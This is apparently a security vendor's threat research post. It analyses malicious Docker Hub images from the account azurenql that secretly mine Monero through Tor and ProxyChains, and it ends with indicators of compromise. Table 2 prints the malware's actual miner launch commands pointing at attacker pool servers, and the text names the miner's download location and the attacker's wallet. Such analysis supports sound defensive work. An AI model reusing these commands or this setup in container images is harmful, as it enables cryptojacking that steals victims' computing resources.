Attackers Cryptojacking Docker Images to Mine for Monero

By and

Category: Cloud, Unit 42

Tags: , , ,

This post is also available in: 日本語 (Japanese)

Executive Summary

Docker containers have been gaining popularity over the past few years as an effective way of packaging software applications. Docker Hub provides a strong community-based model for users and companies to share their software applications. This is also attracting the attention of malicious actors intending to make money by cryptojacking within Docker containers and using Docker Hub to distribute these images.

We identified a malicious Docker Hub account, azurenql, active since October 2019 that was hosting six malicious images intended to mine the cryptocurrency, Monero. The coin mining code within the image intends to evade network detection by using network anonymizing tools such as ProxyChains and Tor. The images hosted on this account have been collectively pulled more than two million times. For context, there are legitimate Azure related images under the official Microsoft Docker Hub account that have anywhere from a few thousand to 100 million+ pulls. One of the wallet IDs identified has been used to earn more than 525.38 XMR, which roughly translates to $36,000 USD. Additionally, when we last checked minexmr.com for this wallet ID, we saw recent activity indicating that it’s still being used.

We would like to give a shout out to the awesome security team at Docker Hub. They were very responsive and were able to take down this malicious Docker Hub account quickly in response to our notification.

Palo Alto Networks customers are protected by this threat through Threat Prevention signatures on the Next-Generation Firewall. Prisma Cloud customers are protected by this through the Trusted Images feature.

Introduction

We have identified a Docker Hub community user account named azurenql that contained eight repositories hosting six malicious Monero mining images. Here is a screenshot of the account and its repositories.

Figure 1. Malicious docker images on Docker Hub

Table 1, below, provides a summary of all the images found under this Docker Hub account, listed in descending order of their pull counts. It is worth noting that the top image was pulled more than 1.47 million times.

Image Name Repo Digest Image ID Last Updated Size

(MB)

Pull Count
azurenql/53_57:442 7bb3553eea.. 82527b2cf0.. 2019-12-02T18:15:07 529 1476110
azurenql/93_164:442 e0bc99060c.. 2943a51346.. 2019-10-31T22:14:46 521 761191
azurenql/234_122:442 8c24aac84a.. 4598f07f42.. 2019-12-02T20:25:50 529 567185
azurenql/227_135:442 c42b461d06.. 87ed2bf1b7.. 2019-12-03T13:18:19 529 547510
azurenql/227_135_app:442 8fd6a0ad7d.. d9dc7dc415.. 2019-10-26T20:39:01 521 8134
azurenql/227_135_tor:442 a8dfce336c.. 4bb08b8d20.. 2019-10-26T07:06:09 521 6064
66_42_53_57 Empty Empty N/A 0 0
test Empty Empty N/A 0 0

Table 1. Summary of images found on the Docker Hub account

Docker Image Structure

To understand how the image is built, we reviewed the image structure of the image azurenql /227_135:442. The image is built in the following sequence of steps:

  1. Use Ubuntu 16.04.6 LTS as the “base image”.
  2. Install dependencies required for building from source, such as gcc, make, python, etc.
  3. Install Tor to anonymize traffic. It is configured to listen on its default port, 9050.

  1. Copy the source of ProxyChains-NG and build from source. The ProxyChains config is left as default to route its traffic through the local Tor SOCKS proxy connection.

  1. Copy the source of the mining software, XMRig, and build from source.
  2. Copy a custom python script dao.py and set it as the image’s Entrypoint.

Figure 2, below, demonstrates this sequence.

Figure 2. Image build sequence

Custom Script dao.py Analysis

The author of these images has included a custom Python script called dao.py, which is responsible for starting the mining process within the container, and was included in all the images.

As mentioned earlier, this script is registered as the Entrypoint in the image so that as soon as the image is started, this script will run.

All the Docker images mentioned in Table 1 contain some variant of this dao.py script. The only difference between the dao.py scripts in these images is that they use a different XMRig command line invocation. The different XMRig command line invocations are listed in Table 2.

High-level execution flow of the dao.py script:

  1. Find the number of CPU cores on the system.
  2. Set hugepages system property to increase the hash rate.

    Figure 3. Set hugepages to increase hash rate
  3. Install Tor and build dependencies.
  4. If proxychains-ng is not already installed, install it from https://github.com/rofl0r/proxychains-ng.git
  5. If XMRig binary (“dlls”) is not present in /usr/local/bin, download it from https://github.com/nguyennhatduy2608/azures/raw/master/
  6. Symlink the XMRig binary (“dlls”) under /usr/local/bin and /usr/bin
  7. Start Tor in the background.
  8. Launch the miner through proxychains, which in turn routes the miner traffic through the local Tor SOCKS proxy as described earlier. A list of all the different mining commands used across the different dao.py versions is included in Table 2.
Figure 4. Command to start the miner using proxychains

The script’s execution workflow is also demonstrated in Figure 5 below.

Figure 5. dao.py script execution sequence

 

Image_Name Dao.py hash Crypto command
azurenql/234_122:442 3a04405e83.. os.system ('proxychains4 ' + program + ' -o stratum+tcp://155.138.234.122:442 --tls -t ' + str(cores))
azurenql/227_135:442 937d59ca35.. os.system ('proxychains4 ' + program + ' -o stratum+tcp://155.138.227.135:442 --tls -t ' + str(cores))
azurenql/227_135_tor:442 b7e07fc8ea.. os.system ('proxychains4 ' + program + ' --donate-level 1 -o stratum+tcp://5pwcq42aa42fjzel.onion:442 --tls -t ' + str(cores))
azurenql/227_135_app:442 de518f1690.. os.system ('proxychains4 ' + program + ' -o stratum+tcp://155.138.227.135:442 --tls -t ' + str(cores))
azurenql/93_164:442 81496a54fe.. os.system ('proxychains4 ' + program + ' --donate-level 1 -o stratum+tcp://66.42.93.164:442 --tls -t ' + str(cores))
azurenql/53_57:442 5d1cb23f8f.. os.system ('proxychains4 ' + program + ' -o stratum+tcp://66.42.53.57:442 --tls -t ' + str(cores))

Table 2. Different mining commands used in the dao.py scripts

Mining Infrastructure

Cryptomining is about solving a complex computational problem, which allows users to chain together blocks of transactions. These images are utilizing the processing power of the victim systems to verify transactions. Here, the image author is using two methods to mine the blocks by running these malicious images in the user's environment.

In the first method, the attacker is directly submitting the mined blocks to the central minexmr pool using a wallet ID.

When we looked up the transaction summary on the Monero mining pool, minexmr.com for this wallet ID, we saw recent activity indicating that the wallet ID is still used.

Figure 6 below shows the mining activity for this wallet in April and May 2020.

Figure 6. Wallet ID activity

Figure 7 below indicates that this wallet ID has already earned 525.38 XMR, which roughly translates to $36,000 USD.

Figure 7. Wallet ID XMR earnings

Whereas in the second method, the author has instances deployed on a hosting service running their own mining pool that are used to collect mined blocks.

The “Crypto Command” column in Table 2 lists examples of this method.

Conclusion

Docker containers provide a convenient way for packaging software, which is evident by its increasing adoption rate. This combined with coin mining makes it easy for a malicious actor to distribute their images to any machine that supports Docker and instantly start using its compute resources towards cryptojacking.

Palo Alto Networks Next-Generation Firewall customers subscribed for Threat Prevention are protected by this threat. Palo Alto Networks has released a Threat Signature to prevent network based delivery of the malicious images identified in this blog. Details of this signature are:

Threat ID Name
85887 Coin Mining Docker image Detection

Table 3. Signature description for NGFW coverage

In addition, security best practices are recommended such as:

    • Avoid pulling or using base images from untrusted repositories.
    • Install the latest apps and threat definitions on the Palo Alto Networks Next-Generation Firewall.
    • Palo Alto Networks Prisma Cloud can be used to secure cloud deployments.

Indicators of Compromise

Images
Image Name Repo Digest Image ID
azurenql/53_57:442 7bb3553eea6e049a943bc2077949bc767daab2c3c993ce1001176f81c9dbb565 82527b2cf0c741e43d5beb2f7dd9c8ef8c18019a00e9d6cde8481ca170d92159
azurenql/93_164:442 e0bc99060cc2374d7b6a2593d512087a00b25ed3f6aa96aa044f90bf7e755b9b 2943a51346c979bc637d58af4314eb234ebe6c094f636e604936fdba987b80e6
azurenql/234_122:442 8c24aac84a7da666cde299a825e762b929baedb4f77722e9f7b1959066284d0c 4598f07f42ce42ee0407493bd4230dcc84879b90632afdd5a6e63a9dd7c19e9a
azurenql/227_135:442 c42b461d0685cf6f9a020d22c0479867ddaa0fe74527d45b6daf436c2f8085c8 87ed2bf1b7be74c5ec7bedb39069e580fd66c7c9b6c306049e3755dd2b269572
azurenql/227_135_app:442 8fd6a0ad7d3832112b592ab2ec24bb94c90714373caa0ef7e625f0df0d171849 d9dc7dc4152f538a31c0a04b59c38df587a6a740af5569541f5e30d0f089e32f
azurenql/227_135_tor:442 a8dfce336cca4143ec99f118d4ec9d0ee791c3f8f1816043c21f5bbd006209ff 4bb08b8d20b45fa8b592c84836ef6acc6427855f30de9f07beb4b5aed3a1d098
Mining Infrastructure

Wallet ID 43ZBkWEBNvSYQDsEMMCktSFHrQZTDwwyZfPp43FQknuy4UD3qhozWMtM4kKRyrr2Nk66JEiTypfvPbkFd5fGXbA1LxwhFZf

Hostname:Port

73avhutb24chfsh6[.]onion:442

5pwcq42aa42fjzel[.]onion:442

pool[.]minexmr.com:4444

IP:Port

66[.]42.93.164:442

155[.]138.234.122:442

155[.]138.227.135:442

66[.]42.53.57:442

144[.]202.23.108:4444

Samples

dao.py script hashes

3a04405e8377dd1f159949e8acb0fa590fff965a871dc7cdc434216a4c253d1f

937d59ca356cac225c66b956d521ceaf60a4830584eea7941e378087391e0d8b

b7e07fc8eaed7b1abbd70a5b8b7b885a1dd0012498e9389b9db9fdc46cd26ef9

de518f16907ee056af49f60f098101a97cad7bcf76833169bbdfd89c06b6da93

81496a54fe3f9a7aace5b282e42853002fa2fde74a8782205edbd0106b0b8acd

5d1cb23f8f0ecd82769e9d346a06851927ac9738af1d0173c85f5457ffbde71c

Docker Hub account

hub.docker.com/u/azurenql